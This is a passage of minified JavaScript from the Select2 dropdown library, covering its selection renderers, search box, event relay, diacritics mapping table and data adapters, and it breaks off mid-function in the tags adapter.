n=this,i=e.id+"-results";this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===r.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",i),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),n.$selection.trigger("focus"),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex),n.$selection.attr("aria-disabled","false")}),e.on("disable",function(){n.$selection.attr("tabindex","-1"),n.$selection.attr("aria-disabled","true")})},o.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||n.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},o.prototype._attachCloseHandler=function(e){n(document.body).on("mousedown.select2."+e.id,function(e){var t=n(e.target).closest(".select2");n(".select2.select2-container--open").each(function(){this!=t[0]&&i.GetData(this,"element").select2("close")})})},o.prototype._detachCloseHandler=function(e){n(document.body).off("mousedown.select2."+e.id)},o.prototype.position=function(e,t){t.find(".selection").append(e)},o.prototype.destroy=function(){this._detachCloseHandler(this.container)},o.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},o.prototype.isEnabled=function(){return!this.isDisabled()},o.prototype.isDisabled=function(){return this.options.get("disabled")},o}),e.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,i){function r(){r.__super__.constructor.apply(this,arguments)}return n.Extend(r,t),r.prototype.render=function(){var e=r.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},r.prototype.bind=function(t,e){var n=this;r.__super__.bind.apply(this,arguments);var i=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",i).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",i),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.trigger("focus")})},r.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},r.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},r.prototype.selectionContainer=function(){return e("<span></span>")},r.prototype.update=function(e){if(0!==e.length){var t=e[0],n=this.$selection.find(".select2-selection__rendered"),i=this.display(t,n);n.empty().append(i);var r=t.title||t.text;r?n.attr("title",r):n.removeAttr("title")}else this.clear()},r}),e.define("select2/selection/multiple",["jquery","./base","../utils"],function(r,e,l){function n(e,t){n.__super__.constructor.apply(this,arguments)}return l.Extend(n,e),n.prototype.render=function(){var e=n.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered"></ul>'),e},n.prototype.bind=function(e,t){var i=this;n.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){i.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){if(!i.isDisabled()){var t=r(this).parent(),n=l.GetData(t[0],"data");i.trigger("unselect",{originalEvent:e,data:n})}})},n.prototype.clear=function(){var e=this.$selection.find(".select2-selection__rendered");e.empty(),e.removeAttr("title")},n.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},n.prototype.selectionContainer=function(){return r('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation">&times;</span></li>')},n.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var i=e[n],r=this.selectionContainer(),o=this.display(i,r);r.append(o);var s=i.title||i.text;s&&r.attr("title",s),l.StoreData(r[0],"data",i),t.push(r)}var a=this.$selection.find(".select2-selection__rendered");l.appendMany(a,t)}},n}),e.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();var i=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(i)},t}),e.define("select2/selection/allowClear",["jquery","../keys","../utils"],function(r,i,a){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){i._handleClear(e)}),t.on("keypress",function(e){i._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.isDisabled()){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();var i=a.GetData(n[0],"data"),r=this.$element.val();this.$element.val(this.placeholder.id);var o={data:i};if(this.trigger("clear",o),o.prevented)this.$element.val(r);else{for(var s=0;s<i.length;s++)if(o={data:i[s]},this.trigger("unselect",o),o.prevented)return void this.$element.val(r);this.$element.trigger("input").trigger("change"),this.trigger("toggle",{})}}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=i.DELETE&&t.which!=i.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){if(e.call(this,t),!(0<this.$selection.find(".select2-selection__placeholder").length||0===t.length)){var n=this.options.get("translations").get("removeAllItems"),i=r('<span class="select2-selection__clear" title="'+n()+'">&times;</span>');a.StoreData(i[0],"data",t),this.$selection.find(".select2-selection__rendered").prepend(i)}},e}),e.define("select2/selection/search",["jquery","../utils","../keys"],function(i,a,l){function e(e,t,n){e.call(this,t,n)}return e.prototype.render=function(e){var t=i('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");var n=e.call(this);return this._transferTabIndex(),n},e.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),t.on("open",function(){i.$search.attr("aria-controls",r),i.$search.trigger("focus")}),t.on("close",function(){i.$search.val(""),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.trigger("focus")}),t.on("enable",function(){i.$search.prop("disabled",!1),i._transferTabIndex()}),t.on("disable",function(){i.$search.prop("disabled",!0)}),t.on("focus",function(e){i.$search.trigger("focus")}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")}),this.$selection.on("focusin",".select2-search--inline",function(e){i.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){i._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){if(e.stopPropagation(),i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented(),e.which===l.BACKSPACE&&""===i.$search.val()){var t=i.$searchContainer.prev(".select2-selection__choice");if(0<t.length){var n=a.GetData(t[0],"data");i.searchRemoveChoice(n),e.preventDefault()}}}),this.$selection.on("click",".select2-search--inline",function(e){i.$search.val()&&e.stopPropagation()});var o=document.documentMode,s=o&&o<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?i.$selection.off("input.search input.searchcheck"):i.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){if(s&&"input"===e.type)i.$selection.off("input.search input.searchcheck");else{var t=e.which;t!=l.SHIFT&&t!=l.CTRL&&t!=l.ALT&&t!=l.TAB&&i.handleSearch(e)}})},e.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},e.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},e.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.trigger("focus")},e.prototype.handleSearch=function(){if(this.resizeSearch(),!this._keyUpPrevented){var e=this.$search.val();this.trigger("query",{term:e})}this._keyUpPrevented=!1},e.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},e.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";""!==this.$search.attr("placeholder")?e=this.$selection.find(".select2-selection__rendered").width():e=.75*(this.$search.val().length+1)+"em";this.$search.css("width",e)},e}),e.define("select2/selection/eventRelay",["jquery"],function(s){function e(){}return e.prototype.bind=function(e,t,n){var i=this,r=["open","opening","close","closing","select","selecting","unselect","unselecting","clear","clearing"],o=["opening","closing","selecting","unselecting","clearing"];e.call(this,t,n),t.on("*",function(e,t){if(-1!==s.inArray(e,r)){t=t||{};var n=s.Event("select2:"+e,{params:t});i.$element.trigger(n),-1!==s.inArray(e,o)&&(t.prevented=n.isDefaultPrevented())}})},e}),e.define("select2/translation",["jquery","require"],function(t,n){function i(e){this.dict=e||{}}return i.prototype.all=function(){return this.dict},i.prototype.get=function(e){return this.dict[e]},i.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},i._cache={},i.loadPath=function(e){if(!(e in i._cache)){var t=n(e);i._cache[e]=t}return new i(i._cache[e])},i}),e.define("select2/diacritics",[],function(){return{"Ⓐ":"A","Ａ":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","Ｂ":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","Ｃ":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","Ｄ":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","Ǳ":"DZ","Ǆ":"DZ","ǲ":"Dz","ǅ":"Dz","Ⓔ":"E","Ｅ":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","Ｆ":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","Ｇ":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","Ｈ":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","Ｉ":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","Ｊ":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","Ｋ":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","Ｌ":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","Ǉ":"LJ","ǈ":"Lj","Ⓜ":"M","Ｍ":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","Ｎ":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","Ǌ":"NJ","ǋ":"Nj","Ⓞ":"O","Ｏ":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Œ":"OE","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","Ｐ":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Ｑ":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","Ｒ":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","Ｓ":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","Ｔ":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","Ｕ":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","Ｖ":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","Ｗ":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","Ｘ":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Ｙ":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Ｚ":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","ａ":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","ｂ":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","ｃ":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","ｄ":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","ǳ":"dz","ǆ":"dz","ⓔ":"e","ｅ":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","ｆ":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","ｇ":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","ｈ":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","ｉ":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","ｊ":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","ｋ":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","ｌ":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","ǉ":"lj","ⓜ":"m","ｍ":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","ｎ":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ŉ":"n","ꞑ":"n","ꞥ":"n","ǌ":"nj","ⓞ":"o","ｏ":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","œ":"oe","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","ｐ":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","ｑ":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","ｒ":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","ｓ":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","ｔ":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","ｕ":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","ｖ":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","ｗ":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","ｘ":"x","ẋ":"x","ẍ":"x","ⓨ":"y","ｙ":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","ｚ":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ώ":"ω","ς":"σ","’":"'"}}),e.define("select2/data/base",["../utils"],function(i){function n(e,t){n.__super__.constructor.call(this)}return i.Extend(n,i.Observable),n.prototype.current=function(e){throw new Error("The `current` method must be defined in child classes.")},n.prototype.query=function(e,t){throw new Error("The `query` method must be defined in child classes.")},n.prototype.bind=function(e,t){},n.prototype.destroy=function(){},n.prototype.generateResultId=function(e,t){var n=e.id+"-result-";return n+=i.generateChars(4),null!=t.id?n+="-"+t.id.toString():n+="-"+i.generateChars(4),n},n}),e.define("select2/data/select",["./base","../utils","jquery"],function(e,a,l){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return a.Extend(n,e),n.prototype.current=function(e){var n=[],i=this;this.$element.find(":selected").each(function(){var e=l(this),t=i.item(e);n.push(t)}),e(n)},n.prototype.select=function(r){var o=this;if(r.selected=!0,l(r.element).is("option"))return r.element.selected=!0,void this.$element.trigger("input").trigger("change");if(this.$element.prop("multiple"))this.current(function(e){var t=[];(r=[r]).push.apply(r,e);for(var n=0;n<r.length;n++){var i=r[n].id;-1===l.inArray(i,t)&&t.push(i)}o.$element.val(t),o.$element.trigger("input").trigger("change")});else{var e=r.id;this.$element.val(e),this.$element.trigger("input").trigger("change")}},n.prototype.unselect=function(r){var o=this;if(this.$element.prop("multiple")){if(r.selected=!1,l(r.element).is("option"))return r.element.selected=!1,void this.$element.trigger("input").trigger("change");this.current(function(e){for(var t=[],n=0;n<e.length;n++){var i=e[n].id;i!==r.id&&-1===l.inArray(i,t)&&t.push(i)}o.$element.val(t),o.$element.trigger("input").trigger("change")})}},n.prototype.bind=function(e,t){var n=this;(this.container=e).on("select",function(e){n.select(e.data)}),e.on("unselect",function(e){n.unselect(e.data)})},n.prototype.destroy=function(){this.$element.find("*").each(function(){a.RemoveData(this)})},n.prototype.query=function(i,e){var r=[],o=this;this.$element.children().each(function(){var e=l(this);if(e.is("option")||e.is("optgroup")){var t=o.item(e),n=o.matches(i,t);null!==n&&r.push(n)}}),e({results:r})},n.prototype.addOptions=function(e){a.appendMany(this.$element,e)},n.prototype.option=function(e){var t;e.children?(t=document.createElement("optgroup")).label=e.text:void 0!==(t=document.createElement("option")).textContent?t.textContent=e.text:t.innerText=e.text,void 0!==e.id&&(t.value=e.id),e.disabled&&(t.disabled=!0),e.selected&&(t.selected=!0),e.title&&(t.title=e.title);var n=l(t),i=this._normalizeItem(e);return i.element=t,a.StoreData(t,"data",i),n},n.prototype.item=function(e){var t={};if(null!=(t=a.GetData(e[0],"data")))return t;if(e.is("option"))t={id:e.val(),text:e.text(),disabled:e.prop("disabled"),selected:e.prop("selected"),title:e.prop("title")};else if(e.is("optgroup")){t={text:e.prop("label"),children:[],title:e.prop("title")};for(var n=e.children("option"),i=[],r=0;r<n.length;r++){var o=l(n[r]),s=this.item(o);i.push(s)}t.children=i}return(t=this._normalizeItem(t)).element=e[0],a.StoreData(e[0],"data",t),t},n.prototype._normalizeItem=function(e){e!==Object(e)&&(e={id:e,text:e});return null!=(e=l.extend({},{text:""},e)).id&&(e.id=e.id.toString()),null!=e.text&&(e.text=e.text.toString()),null==e._resultId&&e.id&&null!=this.container&&(e._resultId=this.generateResultId(this.container,e)),l.extend({},{selected:!1,disabled:!1},e)},n.prototype.matches=function(e,t){return this.options.get("matcher")(e,t)},n}),e.define("select2/data/array",["./select","../utils","jquery"],function(e,f,g){function i(e,t){this._dataToConvert=t.get("data")||[],i.__super__.constructor.call(this,e,t)}return f.Extend(i,e),i.prototype.bind=function(e,t){i.__super__.bind.call(this,e,t),this.addOptions(this.convertToOptions(this._dataToConvert))},i.prototype.select=function(n){var e=this.$element.find("option").filter(function(e,t){return t.value==n.id.toString()});0===e.length&&(e=this.option(n),this.addOptions(e)),i.__super__.select.call(this,n)},i.prototype.convertToOptions=function(e){var t=this,n=this.$element.find("option"),i=n.map(function(){return t.item(g(this)).id}).get(),r=[];function o(e){return function(){return g(this).val()==e.id}}for(var s=0;s<e.length;s++){var a=this._normalizeItem(e[s]);if(0<=g.inArray(a.id,i)){var l=n.filter(o(a)),c=this.item(l),u=g.extend(!0,{},a,c),d=this.option(u);l.replaceWith(d)}else{var p=this.option(a);if(a.children){var h=this.convertToOptions(a.children);f.appendMany(p,h)}r.push(p)}}return r},i}),e.define("select2/data/ajax",["./array","../utils","jquery"],function(e,t,o){function n(e,t){this.ajaxOptions=this._applyDefaults(t.get("ajax")),null!=this.ajaxOptions.processResults&&(this.processResults=this.ajaxOptions.processResults),n.__super__.constructor.call(this,e,t)}return t.Extend(n,e),n.prototype._applyDefaults=function(e){var t={data:function(e){return o.extend({},e,{q:e.term})},transport:function(e,t,n){var i=o.ajax(e);return i.then(t),i.fail(n),i}};return o.extend({},t,e,!0)},n.prototype.processResults=function(e){return e},n.prototype.query=function(n,i){var r=this;null!=this._request&&(o.isFunction(this._request.abort)&&this._request.abort(),this._request=null);var t=o.extend({type:"GET"},this.ajaxOptions);function e(){var e=t.transport(t,function(e){var t=r.processResults(e,n);r.options.get("debug")&&window.console&&console.error&&(t&&t.results&&o.isArray(t.results)||console.error("Select2: The AJAX results did not return an array in the `results` key of the response.")),i(t)},function(){"status"in e&&(0===e.status||"0"===e.status)||r.trigger("results:message",{message:"errorLoading"})});r._request=e}"function"==typeof t.url&&(t.url=t.url.call(this.$element,n)),"function"==typeof t.data&&(t.data=t.data.call(this.$element,n)),this.ajaxOptions.delay&&null!=n.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),e.define("select2/data/tags",["jquery"],function(u){function e(e,t,n){var i=n.get("tags"),r=n.get("createTag");void 0!==r&&(this.createTag=r);var o=n.get("insertTag");if(void 0!==o&&(this.insertTag=o),e.call(this,t,n),u.isArray(i))for(var s=0;s<i.length;s++){var a=i[s],l=this._normalizeItem(a),c=this.option(l);this.$element.append(c)}}return e.prototype.query=function(e,c,u){var 